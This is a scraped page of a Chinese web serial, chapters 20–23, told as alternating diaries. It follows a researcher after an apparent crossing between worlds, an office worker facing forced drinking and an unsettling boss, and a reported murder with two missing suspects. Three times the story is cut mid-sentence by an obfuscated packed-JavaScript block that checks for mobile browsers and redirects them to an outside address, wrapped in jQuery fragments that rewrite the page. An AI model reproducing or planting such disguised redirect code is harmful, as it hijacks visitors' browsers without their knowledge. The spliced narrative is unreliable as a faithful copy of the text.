$(''.inform'').remove(); $(''#content'').append('' 一个实验对象被我放在脑海里观察的时候,它离我的距离就不是那么贴近了。 它仿佛彻底变成了一个短暂的梦。 我站在窗前,杵着吸尘器发呆。外面依旧在下雨,画画的世界也在下雨,她今天没有车去接她下班了。 如果我穿越的契机是那辆车,那我再也不使用那辆车了话,是不是就不会再发生相同的穿越了? 我身上还穿着画画买的短袖,从她的世界里带过来的手机、平板和笔记本躺在我的桌上。我的脑子里还记得画画的长相,记得她的音色,记得她肌肤的质感,比我的要柔软细腻几分。我还没有跟她说谢谢,也没有说再见。 等明天从教授那里回来,我再用一次那辆车吗?总得把东西还给画画。 但我不确定车到底是不是关键,如果我去了又回不来了怎么办。 我的理智一直在劝我放弃那辆车,不要再做冒险的事情,但是胸口又憋着一股气,吐不出来咽不下去。在窗前一直站到腿都麻了,才回过神来。 已经下午一点半了。我在这里站了一个多小时。 我还是决定回归正常的工作生活,不去多想在另一个世界发生的事情。我像正常的我一样,给自己做午饭、洗碗、再去洗个澡,把画画的衣服扔进洗衣机,然后打开自己的电脑,看看这周落下的工作,抓紧时间补做一些。 工作的充实会填补满我的大脑,让我没空想别的。 我从微信上跟我妈询问了一下有没有李营的联系方式。她大概又出门和姐姐妹妹们上书法课去了,没有回我的消息。 直到下午五点半她才回了一条:没有。 没有?那之前李营跟谁要的我的联系方式? 我打字问她:那她妈妈的呢? 我的母亲惜字如金,十之八九还在和朋友们聊天:这个有。 我:推给我。 我妈:做什么? 下面附带了一个名片链接。 我:帮你要钱。 我妈:李营他妈妈前几天还跟我要你的联系方式呢,她没有加你吗? 那应该就是帮李营要的了。我跟我妈说李营联系过我,但我换手机号码把他号码弄丢了,她也没有多问些什么,只是话里话外不经意地让我照顾一些李营,那钱能不要就不要了,我们家也不缺那一万块,说他这么多年日子也没有好过起来。 我点开李营妈妈的名片,想了一下还是发送了好友申请。李营的不接电话不知道是不是和他妈妈学的,他妈妈也不通过好友申请。 冬天天黑得早,尤其是今天天气也不好,五点的时候就已经需要开灯了。 午饭糊弄了一顿面条,晚饭我该出门一趟,填充一下冰箱了。白屏在我脚边绕,它也怕我再消失不见吧。我摸摸它的小猫头,告诉它我很快就回来。 关门的时候我好像听到桌上有点动静,等我重新推开门,室内又是一片静悄悄。不清楚是不是我心理作用下的幻听。 我“啪嗒”一声关上门,朝电梯走去。 20. 梁上燕-6.2627 梁上燕6月26/27日周四/五雨 六点多的时候,我给小手打电话确认一下他来接我的时间。打过去,响了一声便断了。 我正要重新打一遍,又被冯总打断了。 他站在大厅里,拍了两下手示意所有的同事停下手里的活儿,听他讲两句。 我的眼睛飘过去两秒又切回电脑屏幕上继续敲打键盘。 “本来应该下周一晚上年中聚餐的,鉴于我下周要去出差,聚餐调整到明天晚上,你们有约会的就调整一下时间,谁都不准缺席哦。” 他好像以为自己很幽默,不顾下面的气氛率先笑出两声。 他真的很幽默,在他笑完之后下面就有人跟着笑出了声。 明天周五,不耽误我周末的活动就行。他要是说周末团建的话,我就要腹诽他了,前几天我刚和程可说了这周末可以继续游戏来着。 一直到我手上的活儿干得差不多了,小手也没有给我回个电话。我收拾完东西,下电梯的时候重新给他打电话,却无论如何都是拨不出去。 外面仍旧在下雨,我又没有带伞。 我站在楼下的廊下抬头看看乌云密布的天,估摸着大概短时间内是等不到雨势小一些了,不行就直接冲去地铁站。 我把那件在空调房里挡风穿的衬衫顶到头顶上,正要拔腿跑,冯总在我身后幽幽地飘来一句:“小梁,今天男朋友没有来接啊。” 我听见了,但我当作没有听见,两条腿已经迈开了,冲进雨里,提着一口气跑了几百米,冲进了地铁站。 有衬衫顶着也不管用,衬衫湿透了,头发也淋湿得大湿,还在往下滴水。我从包里抽出几张餐巾纸出来,随便擦一下头发或者衣服,这张纸巾就吸饱了水。 下地铁的时候又淋了一通。都怪小手。 我到家的时候室内静悄悄一片,没有开灯,没有活人气。 小手怎么还没有回来,电话依旧打不通。我玩手机一直玩到九点多,实在忍不住了,抽出一把折叠伞出了门。 我去便利店买了些吃的,回来的时候在楼下路上打开了手机的手电筒,一路照过去,没有看到小手的车。我又绕去地下停车场,把几个停车区挨个检阅。 我也不知道我为什么要来地下停车场,小手不可能把车停到这里来,因为我根本没有买停车位。 痛斥自己这一番愚蠢行为,回到了家。进门前还在想小手会不会在我出去的这一小段时间里回来了,推门进去,就再也盖不住自己的失落。 小手太过分了,晚归也不说一声,我最多只给他留灯留到十二点。 我辗转到十二点,在小小的房子里踱步、洗漱、把餐桌上凋败的康乃馨扔进了垃圾桶、躺在床上做一些好像对身体很有益的伸展运动,门外却一直没有传来开锁的声音。 我又把手机掏出来,翻看剧本杀里我们这一组该去的最后一个场所,是一个公共公园,也没有什么关于那附近的事件发生的报道。 反而是我这附近,白天发生了一起首饰店的入室伤人抢劫事件,凶手还没锁定。我还看了流传出来的一小段监控录像,凶手捂得严严实实的,一点看不清面容特征。 我关上手机,像一个“大”字摊开在床上。 小手太过分了,想起来怎么回家了也不说一声,还把我家的钥匙顺走了。 我气了很久,几点睡着的也不知道,但我第二天起床是真的起晚了。前几天差不多到时间了小手就在厨房悉悉索索地做早饭,我不想醒也醒了,于是闹钟早就被我取消了。 今天醒来一看手机,完蛋了,已经十点多了。 等我匆忙公司打上迟到的小卡,小秦远远地就朝我使眼色,喊我过去说话。 我走到她跟前,稍微弯下上半个身子,问她:“怎么了?” 她拿手捂在嘴侧,一副不给别人听的样子:“冯总找了你一上午。” “找我干嘛?” “他说你的报表做得有问题。具体什么问题我也不清楚,你等会自己问他,我帮你找了个借口,说你今天身体不舒服要晚一点来。” 小秦人还怪好的嘞。就是总让我有一种无事献殷勤,非奸即盗的别扭。但她最近在努力跟大部分的同事搞好关系,可能我也入了她的法眼。 有人帮我提前应付了冯总,总归是好事。 我便参照小秦给我的借口去和冯总打马虎眼,他坐在办公桌后面手指敲了敲桌子:“我也不是那么不讲理,你迟到也不报备一下,扣你两百块钱不过分吧?” “不过分不过分。”太过分了,扣我的钱,比小手还恶劣,“冯总,我昨天提交的报表你是不是看过了,有哪里要改吗?” 他一下子坐直了身子,两只眼睛左右虚晃起来:“目前没什么要改的,你等我再仔细看一遍。” 他这话一说,我脑子里的小剧场就开播了,我要一脚踹断他的办公桌,提着他的领子问他是还没看还是没看懂。 由于上午没有来的原因,我手头上的事情全都累积到了下午晚上,但今晚还有聚餐,很想推脱说去不了。想来想去这种留在单位加班的理由都不可能被通过,最终还是决定等吃完饭我再一个人回来加班。 吃饭的地方在三四公里之外的一家饭店,有车的同事们肩负起了分组载人的工作。 我在他们热火朝天的讨论中闭口不言,只服从安排,谁车上有空座,我就坐谁的车。等他们安排完,我在爬上一辆车的后排之前,小秦拉住我的胳膊,说要和我坐一起。我愣了一下,说:“行啊。” 然后我就被她拽去坐上了冯总的车。 说不出的尴尬气氛在车内流动。我惧怕和领导一起待在封闭小空间,这是与生俱来的害怕,就像我上学的时候害怕去办公室交全班的作业时候就只有班主任一个人在一样,就像我坐电梯的时候一开电梯门里面就冯总一个人一样。 虽然今天车上还有一个小秦,但我仍然觉得如坐针毡。这和上次冯总坐小手的车感受还不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458201|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小手的车给我一种自己家的空间的感觉,我能在里面找到一点安全感。 好在小秦肯率先打破这个气氛。她半挽着我的胳膊,跟我熟悉得好像老朋友:“我听冯总说小梁你交男朋友了,什么时候的事呀?” 和同事聊私事还不如冷场。 “哈哈,这个月刚交的。” “冯总说你们俩感情可好了,好羡慕呀,我也要交男朋友,你们是相亲认识的吗?” “嗯……算是吧。” “那你可要多考察他一段时间,相亲男可会美化自己了。” “好。”考察个毛线,人都不见了。 冯总可算逮到机会插上一句了:“小梁,我觉得你男朋友不行啊,昨天下那么大的雨不来接你。” “嗯……他有点事。” “知人知面不知心,我也不多说,你自己多长个心眼。”我工作以外的场所碰到冯总,总觉得他像我以前的班主任,要给我上两课。 “小梁周末有安排吗,没有的话,陪我去看电影吧,最近上映了个电影我想看,但不想一个人去电影院。”小秦挽着我的胳膊摇了摇,脸上满满的都是期待,像一个小兔子,谁看了都觉得她可爱又喜庆。 本来小手还在的话,我可能会和他一起去跑剧本杀的线索,去催别的小组的进度,但是他不见了,我的计划就被推翻了。 一时也想不到能拿来搪塞小秦的话,便犹犹豫豫地点了个头:“好像……没什么安排。”说完我就想起我可以拿加班当借口的,我确实有班要加,都不能叫借口,叫实话。 小秦已经高兴地连呼“好耶好耶”了,我想看完电影再加班也没什么不可以。 冯总也问起我们要去看什么电影,小秦便雀跃着给他描述起来,车内的气氛一时变得欢快融洽。 还是小秦这样的女孩子惹人喜欢吧,长得好看又是活跃气氛的一把好手。她如果真心想和我交朋友,我应该会忍不住和她亲近。 连饭店入座的时候,小秦也拉着我的手,要和我挨着坐,刚坐下又立马站起来,笑盈盈地给每个人倒茶喝。 我坐在凳子上晃腿,连日来加班的阴郁心情也被小秦的阳光晒干了一些,把待会儿还要去加班的事情都暂时忘记了。 看她忙得颠儿颠儿的,我都忍不住想去给她搭把手了,但我没有。因为好多同事在搭手,我乐得其所地瘫在凳子上吹空调喝茶,顺便玩玩手机。 这样轻松的心情并没有持续多久,饭桌上的劝酒行为就开始激起我的厌恶心理。 隔壁工位的同事强行把我杯子里的椰汁倒掉,满上了一杯黄酒:“小梁你又不要开车,喝点!” “我真不会喝酒。” “不会喝怕什么!等会送你回去!” “送什么,你们喝了酒还想开车呢?” “我们叫代驾,把你顺路送回去。” “算了吧,不顺路。” “小梁你扫兴了哦。” “……” 21. 梁上燕-6.27 梁上燕6月27日周五雨 在人际交往的问题上,一旦碰上别人说你不识相扫大家的兴,你会怎么做? 在当服务业从业者的时候,一旦碰上顾客投诉你态度有问题,你会怎么做? 在长辈或是别的资历长于你的人给你夹不爱吃的菜的时候,你会怎么做? 这些情况之间或许有区别,但在我眼里,很多时候都属于一种隐形的霸凌。 我迟迟没有把杯子端起来,筷子放下去了,手也收回桌子下面。我有这样一种意识,如果我把这杯黄酒喝下去,就意味着我要把我的软弱和允许被霸凌暴露出来。 一桌的人都把注意力投过来,无形之中有一张大网将我困于其中,这些视线又像针刺从网孔中扎在我能被看到的半个身子。 我在他们看不到的桌子下面拿右手比了个国际非友好手势。 这种情况当然也不是我第一次遇到,刚入职那年被劝酒的时候,我脸皮还是薄薄的一片,说谎也脸红,没有及时抓住说“酒精过敏”这个借口的好时机,被哄闹着喝过一杯,喝完还被他们用“男同事送我回家家长放不放心”的笑话再恶心一轮。 而今我的脾气已经没有那么好拿捏了。我正准备把杯子里的酒倒了,重新倒回椰汁。 小秦的手却是伸得比我还快,她一把握住我的杯子:“小梁这两天不能喝酒,我替她喝了吧。” 我错愕地看着她,还没有来得及拦住她,她手一抬脑袋一仰,一杯酒水就滚下了喉咙。 不管她是装英雄还是逞英雄,从我的角度出发,她这一举动确实都是个英雄,虽然我觉得这样并不会改善现状,甚至会让情况变得更坏。 果然,她放下杯子之后,空杯立刻又被倒满。一桌的人起哄说替别人喝的要喝三杯。 我按住小秦的手臂,有些担忧地和她说:“别喝了。” 小秦轻巧地拿开我的手:“没事,我酒量还行。” 于是一桌人又夸赞起小秦被埋没的侠女气度和不凡的酒量,和冯总说下次有和客户的酒局,可以带着小秦去,人美声甜酒量佳,天选应酬人。 我眉头皱起,去看小秦脸上的表情。 她除了眉眼弯弯地回应着打趣,脸上被黄酒的酒气熏出两团浅浅的红晕外,也没有什么能让我捕捉到的不快的微表情。 她是个高手。 但我仍然觉得让她喝太多的酒不太好。于是两杯过后,我把杯子拿回来了,说:“可以了可以了,我还要喝饮料呢。” 无意间瞥到斜对面的冯总,他正巧也往这边看着。在这么多开怀大笑的人群中他皮笑肉不笑地坐在那里,真的很瘆人。 我迅速把眼睛转走,余光里他也把眼神在小秦身上刮过后看向了别处。 公司聚餐这种事,怎么吃都一样,无非就是把表面交情拉出来遛一遛。后半程的饭吃得同往年一样,充满了僵硬的玩笑和粗糙的拍马屁。我早就吃饱了,在他们忙着喝酒说话的时候,我在闷头吃,也没几个菜做得合我心意,还不如小手做的。 小秦大抵是两杯黄酒的酒劲上来了,话明显多了起来,尝完一道菜就要和我报告一下好不好吃,又再三叮嘱我,明天下午两点,电影院门口见,不准迟到。 末了又想起我交了男朋友的事,问我:“我占用你的休息时间,你男朋友没有意见的吧?” 我一边剥虾壳一边说:“没事,他最近回老家了。” 小秦:“哦,回老家,他老家哪里的?” 我不知道他老家哪里的,应该说,我知道他老家是哪里的,我看过他的身份证,但我不认识那个地方,所以我还是不知道他老家是哪里。小秦也不是真的想知道关于小手的一些信息,她应该就是酒精上头了,我随便扯个别的什么话题,她立马就忘了自己刚刚问了什么。 万幸她还能直行走路,也没破了她酒量还行的人设。 叫代驾的叫代驾,打车的打车,散场之后的饭店门口就剩我和小秦。 她把手搭在我的手臂上,仍在聊一些自己兴趣爱好的话题,我问她:“你怎么回家?” 小秦反问我道:“你怎么回家?” 我说我回公司再加会儿班,她立马泪眼汪汪地一掌拍在我的肩膀上,人也顺势伏了过来,粉底液蹭在我的衣服上,幸好我的衣服不值钱。 她说:“我之前还误会你是那种偷奸耍滑的老油条,小梁,我错了,你不会怪我的吧?” 哦,原来前两天看我的那个眼神是这个意思啊。 “怪你也被你挡酒抵消掉了。” “你可真是个好人。”她把我的胳膊甩了又甩。 我给小秦叫了一辆出租车,看着车开走之后,正在思考这三点几公里的路程我是也叫一辆车还是去坐地铁。 身后“嘀嘀”响了两声轿车的喇叭。我以为是我挡路了,连忙朝后退了两步。一扭头就认出来,是冯总的车。 车在我旁边停下来,他人坐在后排,把车窗摇下来问我:“你怎么还没走?” “噢,这就走。” “要送送你吗?” “不用。我自己走。” 车门“咔哒”一声解锁了。冯总在车里喊:“上车上车,这么晚了,坐地铁回去都要天亮了。” 我的心立马就悬了起来。他要是坐在副驾驶的位置上,我倒也没这么紧张。现在他人在后排,又给我开后排的车门。 这车我是宁死也不能上。 但我一时想不到什么不拂了他面子的说辞,挠了半天的胳膊,再拖久一点皮都要挠破了,便说道:“等会有人来接我。” “你男朋友吗?他不是回老家了吗?” 冯总耳朵挺好。 “真不用送,我等会要先去一趟超市,您赶紧回家休息吧,不还要出差呢吗?” 他扬起嘴角,满意地点点头:“是要出差,那我不送你了哈,你自己回家小心一点。” 我长舒一口气,目送冯总的车开走,他要是再跟我掰扯一会儿,我真没法了。 去地铁站的路上还能吹一吹晚风,虽然微乎其微,但是很舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458202|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适。我心里有一点点在所有热闹散场之后都会有的空荡荡,还有一点点要去加班的心烦气躁。 还有一点点小手不告而别的余气未消,他要是还在,我就不用走路去地铁站了。 办公楼里也是空荡荡的,这更叫人难过了。 难过得我把所有能开的灯都打开了。不得不说,一个人在这种环境下的工作效率出奇地高,既没有人打断我,又没有心思玩手机,我按计算器的手都快得叫人眼花。 整个空间里除了我敲键盘的声音、纸张翻页的声音、就数计算器的报数声最响亮。 我正热火朝天地干着活儿,突然进门处的顶灯“哒”一声黑了。 还以为是灯管坏了,但是那边一个人影晃了进来。 我第一反应是进贼了。正要往桌子底下钻,来人出声了:“你怎么开这么多灯?” 冯总从暗了灯的方向一点一点走过来,光线逐渐照清他整个人。 “冯总,你太吓人了。”我半曲着的腿终于敢伸直了。 “我来拿个东西,一看里面亮堂堂的,还以为走的时候没关灯呢。”他见我吓得不轻,反而有些幸灾乐祸,“你不是在偷什么机密文件吧?” 这烂摊子账目,谁会想要。送给对手,他们可能还会嫌弃没有竞争力呢。也不能这么说,交给审计局可能会出点事。 我把手上的文件拢整齐,继续埋下头去:“没有,我加一会儿班。” “辛苦辛苦。”他嘴上给予我赞叹,但心里不知道有没有想过我这么辛苦是拜谁所赐,能不能在工资上反映一下他的赞叹。 我偷偷看过了,小秦这个月涨了两百块钱,不然我也去多提几次涨薪的事好了。 冯总进了自己的办公室没多久,就从里头发出呼喊:“小梁!我那个网银放在哪儿来着?” “不在你抽屉里吗?” 这坏东西,不会又带回家了吧。 “没有啊,几个抽屉里我都翻了。” 他真是祖宗,晚上加班也要打断我的进度。我把手里的东西放下,朝他的办公室走去。 他的办公室里真的和进了贼一样,抽屉全都拉开着,翻得乱七八糟,不知道从哪个文件里漏出来的散页东一张西一张地摊在地上。我偶尔会怀疑,冯总在家生活能不能自理。 我把他右边第一个抽屉翻了个底朝天,也没有找到网银的影子。冯总一副“你看,就是没有了”的表情。 “不可能啊,你真的没有带回家吗?”我问道,“我们公司还有吃网银的鬼不成?” 我又蹲下去翻看别的抽屉。他也不去别处找找看,就插个手,半俯身搁我身后看着我找。 “啊!”办公室门外又传来一个人声。 我提起身子向外看,头顶直接顶在了冯总的下巴上,我听到他疼得闷声“唔”叫。叫他站人身后。 办公室门口站着一个目瞪口呆的小秦。她捂着嘴,很快又放下了,进退不是,说了一句:“你们怎么都在?” 今晚的公司虽然人少,但还挺热闹。 22. 柏青-12.27 柏青12月27日小雨 十点多去教授家之前,我灵机一动,拿测温枪在白屏身上“嘀”出一个38.3摄氏度的优秀体温,然后拍了下来留给自己用。 不能开车去,就只能打车了。 下车的时候师娘正好出来扔垃圾,看见我从一辆陌生的车上下来,新奇地问我:“你的宝贝车呢?被撞坏啦?” “送去保养了。” 师娘接过我手里的两斤橘子,边走边剥了一个,跟我打教授的小报告:“你前几天干什么去了,给你师父气够呛。” “生了点小病。” “什么小病,不跟你师父说一下?” “我那不是怕他操心。” 师娘一巴掌拍在我背上:“自己家孩子,操心那不是应该的。” “师娘,等会我见了师父,你可要帮我拦着他,别让他揍我。” “我不拦他,你该揍。” 师娘一定是刀子嘴豆腐心。等会动起手来,她保准帮着我的。 教授正在家里看报纸,尽管纸媒已经快被淘汰了,他仍然保持着阅读纸质书籍报刊的习惯。连收废品的也知道教授家里有东西,定期就要来问一问有没有要处理的纸质物品。 我一进门,他就放下手里的报纸,摘了老花眼镜,两只眼睛朝我瞪得浑圆,颇有上学时欠他作业的既视感。 我憋着一口气,把手机里白屏的体温翻出来,递给教授看:“师父,我不是故意旷工的,实在是烧糊涂了。” 教授瞥了一眼我的手机屏幕:“脑子烧糊涂了,嘴巴也烧得粘在一起了?” “就是烧糊涂了才忘了打电话说一声的嘛。” 他被我这莫名其妙的咬文嚼字堵得哑口无言,把手下的报纸拎着一个角,气愤地抖了一下:“我看你是揣着明白装糊涂。” 说完将手里的玻璃杯举起来,作势要摔到我身上,手一伸,递给了师娘:“帮我倒杯水。” 师娘把玻璃杯接走,他就拿空下来的手把我按到凳子上坐下来,开始对我展开一系列的思想教育。 “你们现在做研究是不比我们那时候了,没有爆发性的突破大家做出来的东西都差不了太多,我们那个时候做研究的人少,有深入研究的人都会被看到,是不太需要自己去搞营销,你是年轻人,你应该比我更了解这个时代不缺人才,酒香也怕巷子深。” 教授的话我都懂,也明白教授的时代也是经历了无数风雨,并不如他现在这般云淡风轻,我只是不爱做应酬交涉类的工作。当然大部分搞研究的可能都不爱做。 “你中午在这里吃个饭,晚上跟我一起去见投资人,行吧?”他问完趁我还在迟疑,又先帮我点了头:“这事就这么说定了。” 我无故旷工那么久,确实没脸说不去的话,便钻进厨房给师娘打下手去,又被师娘给踢了出来。 我又坐回凳子上,和教授商量我之后可能还会无故旷工的事情。 “师父,我之后可能还要请假,但也不太确定什么时候要请。” “怎么?你发烧还会复发吗?” “啊?啊对。” “你去医院检查过吗?”教授拿食指点点脑壳,从重新戴上的眼镜上檐外,顶着上眼眶看我,这个姿势就好像仍然在瞪我。 “发生了一点科学无法解释的现象,我也解释不清。” “什么不科学现象,能拿来做研究吗?” “应该是不能的。” “你最好把这个现象给我讲清楚了。”教授对我漏洞百出的说辞表现得十分不满,报纸再也看不下去了。 我也很手足无措,这种穿越说出去会被笑掉大牙的吧。穿过去跑了几天的路,和一个漂亮的女孩子独处了一段时间,猝不及防又穿越回来了,说给谁听会相信。 李营会相信。但他妈妈仍然没有回我的消息。 也许这就是一个插曲,再也不会发生这种情况了,等再遇到的时候再说吧,我已经给教授打过预防针了。 我别扭地和教授说道:“也许不会复发了,也不一定还要请假。” 教授转而关心起我的身体:“什么病,这么古怪?” “等我去做个检查再告诉你。” 晚上吃完饭正在同投资人、教授作别的时候,我眼角瞄到旁边有一家花店。在他们都走了之后,我脑子抽了一般进去买了一小束康乃馨。 画画桌子上的康乃馨已经脖子歪的快掉下来了。 我并没有养过花花草草,家里连个花瓶都没有,只能在花店再买一个花瓶,店长给我挑了一个圆柱玻璃状的花瓶,我捧着花和瓶子有一种奇怪的不自在,仿佛我生来就和这种浪漫的事物不匹配,为此回去的路上我一直在搜索鲜切的康乃馨应该怎么养。 这束康乃馨在我家放在哪里都很奇怪。它是红色的,但我家无论哪个角落都没有这么饱和的装修颜色。 我正在里里外外地挪动它的位置,我妈打了个电话过来。 “你联系上李营妈妈了吗?”她的声音有点急,分贝也有点高。 “没有。怎么了?” “他和他妈妈失踪了!” 我心里一惊:“那他爸爸呢?” “他爸爸被房东发现死在家里了,好几天前的事了,我的乖乖,太吓人了,我这两天没有看新闻,今天还是听别人聊天觉得名字耳熟……” 我迅速翻开笔记本,搜索这条新闻。 “集东区一居民楼内发生凶杀案,一名53岁李姓男子于家中遇害。目前,其妻子与儿子被警方列为案件重要嫌疑人,但二人案发后下落不明,警方正全力搜寻。 “据了解,案件发生于集东区某小区。本月22日上午11时许,警方接到一名报案人电话,称发现李某在家中遭遇不测。警方及法医迅速抵达现场,经初步勘察,确认李某已无生命体征,且现场痕迹显示死者生前曾与人发生搏斗。基于现场获得的多项证据,警方已初步排除死者自杀的可能性,确定此案为他杀。 “有重大作案嫌疑的李姓男子的妻子王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458203|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某(52岁)极其儿子小李(28岁),在案发后均无法取得联系。据邻居反应,自21日傍晚后,便未再见过母子二人。警方调查发现,家中部分贵重物品及二人常用衣物已不见踪影,初步判断二人已畏罪潜逃。 “警方已成立专案组,正对嫌疑人王某和小李的社会关系、可能的出行路线进行排查,并吁请广大市民提供线索。同时,警方也正对死者李某的家庭关系、经济状况等进行深入调查,以进一步厘清案件动机。” 李营21号中午还来找过我……发生这么大的事情,他还能淡定来找我要口饭吃,心理素质也不是一般的强大。 我极力地思考他找我那天用的什么电话号码。我不记得了,但就算我记得,应该也打不通了吧,警方都联系不上他。 现在的问题是,警方会不会来联系我,我到时候要怎么说,说我不仅21号见过他,我还在另外一个世界见过他?警方不会把我一起扣走吧? 我本来平静的、只用思考今天项目研究进行到哪一步了的生活,被搅得一团糟,甚至不知道是哪个环节导致了这种一发不可收拾的场面。 我把画画的笔记本手机和平板收拾到一个袋子里,拎到停车位扔到车上去。这个车位要是能砌一堵墙,我就把车和这些东西一并隔离开。 上楼回家后便打开我的工作电脑,让自己少想这些乱七八糟的事情,果然有效,我再抬头的时候已经临近十二点了。 但我抬起头了,又忍不住开始想李营家里的这事。 我琢磨着李营是不是凶手,他妈妈为什么也跟着一起失踪了,在那个世界也没见李营还带着他妈妈的感觉。 要不然穿越的契机就是李营,那关我什么事,为什么要把我拉进去?让我把李营抓出来?那拉个叔叔进去不是更方便? 我的头脑烧得正发烫,我那受到了不小的惊吓的母亲又打了个电话过来,电话铃声也给我一点惊吓,以往这个时间,她早就睡着了。 “儿子,李营之前不是找过你吗?他没跟你说什么吗?” “没说什么呀。” “他不是想杀你吧?” “你想什么呢,我跟他无冤无仇的。” “以后他再找你,你可别理他了噢,你爸还骂我呢,说我不该交王与眉这个朋友,我说我们都多少年没来往了,谁知道他们家近年是个什么景象……”她诉说了一段被我爸训斥的辛酸后,又绕回来说道,“你听我的,他们娘儿俩有点危险,你还跟我要联系方式,别不知轻重去贴到他们脸上。” “晓得了晓得了。” 回话间,白屏跳上了客厅的桌子,一巴掌推倒了那瓶康乃馨,花瓶裹着花茎在桌子上滚了两圈,摔在地上,摔了个稀碎。 我连忙喊我妈早点睡觉,挂掉电话去收拾一地的玻璃和流得到处都是的水。 倒在一片狼藉中的康乃馨有一些折损,但仍然鲜艳,不知道我放水杯里插一晚上明天它还能否无恙。 得去买一个重一点、方一点的花瓶。 23. 梁上燕-6.28 梁上燕6月28日周六多云 哈哈,一觉醒来昨晚在公司的场景想来仍然觉得很好笑。 不,是很尴尬。 小秦说她转念一想,放我一个人在公司加班不太好,半路又让司机师傅掉头了。来了之后往里走,就看到冯总身下有个头顶在蛄蛹。 场面不说有多震撼,但是有点颠覆认知。 冯总倒是一副事不关己的模样,甚至还招了招手,喊小秦过来帮忙一块儿找那个破网银。 一个办公桌,统共就那么大点地方,小秦跟我两个人站后面,这张桌子可就算是被占满了。小秦红着脸,放下手腕上的包,手脚像新装的一般僵硬地舞了两下,就着手边的茶几一通乱翻,嘴里说着:“我、我从这里开始找……” 找了十分钟,谁也没有能把那个长了腿的网银找出来,我急着去把手里的活儿干完,就把战场腾出来给冯总和小秦两个人战斗。 直到我差不多做完之后,他们俩也从办公室里慢悠悠地晃出来,遗憾地向我说出叫人头大的三个字:“没找到。” 我不想下周再去银行补一个,央求冯总回家再好好找找。 他根本不在意补这个网银有多费事,大手一挥:“那我回去再找找,”挥出来的手臂折到胸前看了一下手表,“噢,九点五十了,你们要吃夜宵吗?” 小秦有点兴奋,难得能一天之内薅冯总两顿。 但我很累了,我说不吃了要回家睡觉。小秦便垂个头:“你不吃,那我也不吃了。” “你们去吃呗,我晚饭还没有消化。” “不吃了,回家吧。”小秦把包拿上了,准备去关灯。 我一边整理桌面一边去看她和冯总的表情,确认我到底是不是个扫兴王。冯总根本看不出来什么情绪变化,他那张脸上,任何时候都充满了松弛,除了跟我要报表的时候。 小秦把她路过的那一排开关挨个按下去,就留了我头顶那一盏,她的双眼隐没到黑暗中,我看不太清她的脸上是喜是悲。 管不了那么多了,明天看电影的时候请她喝杯饮料好了。 我拎起包追到她旁边时,她看起来也没有很沮丧了,搓着手机上的一小块斑渍,在我和冯总都走到门口之后,把最后一盏灯也关掉了。 现在是上午十一点半,休息日只要还没过十二点,都算上午。 在冰箱里搜罗些简单又好做的食材,随意煮了半碗米饭,便把早午饭一起糊弄过去。还可以多坐一会儿再出门。 康乃馨被我扔掉之后,花瓶里的水还没有倒掉,水里面飘着一片叶子。我把花瓶拎到水池里,准备洗一下,又想起小手落在这里的手机还在隔壁房间的桌上。 扔下刚倒了水的花瓶,去把手机翻出来,按亮手机,提示我要指纹或者六位数的密码。 我按照小手身份证上的出生年月尝试着输入六位数,打开了,真是轻松得让人怀疑,搞技术的人设置的密码,不过如此。 翻来翻去没有什么新发现,正准备回水池继续把花瓶洗了,手机却在我手里震动了一下,弹出一条信息: “你是不是也回来了?” 没有备注名字。翻看历史记录,十二月二十一号上午跟小手有一个几分钟的通话。 很奇怪,这个手机不是接收不到信号的吗?我就着这条短信,向这个号码回拨电话,并不能拨出去,确实是没有信号的状态。 刚刚那条短信就像我的幻觉一样,小小一个手机又变成一块砖,还不如一块砖。 磨蹭了好久再去洗花瓶,时间已经变得紧张了起来,我差点忘了还要去提前买两杯饮料。 依稀记得昨天在车上,小秦回答的冯总关于这部电影的大概信息,是个犯罪片。 我看过的此类电影比较少,因为害怕血腥暴力的场面。纵观我的观影史,充满了喜剧片和众多日式小清新的温情治愈片子。 所以,我做好了心理准备,半捂着眼睛看完这场电影。 我把奶茶店的菜单发给小秦,让她挑选了一个,等两杯拿到手的时候,小秦正好也刚到电影院门口。 她轻松自然地从我手里接过一杯,另一只手揽上我的胳膊:“正好取完电影票我们就差不多可以进场了。” 我们就像认识了很久的朋友一般,嘻嘻哈哈地朝自助取票机走。 取电影票的流程顺畅又迅速,只是拿到票后小秦猝不及防地问我:“你觉得冯总这个人怎么样?” 我一时愣住,戳开饮料膜,佯装正在思考措辞。我不知道该说点冯总的好话还是坏话。不知道小秦是想和我交心,还是想和冯总打小报告。 我拐了一个弯,反问她:“你觉得呢?” “我觉得呀,”小秦把两张电影票递给检票员,又把票根收回来,继续和我说话,“我觉得冯总这个人很奇怪。” 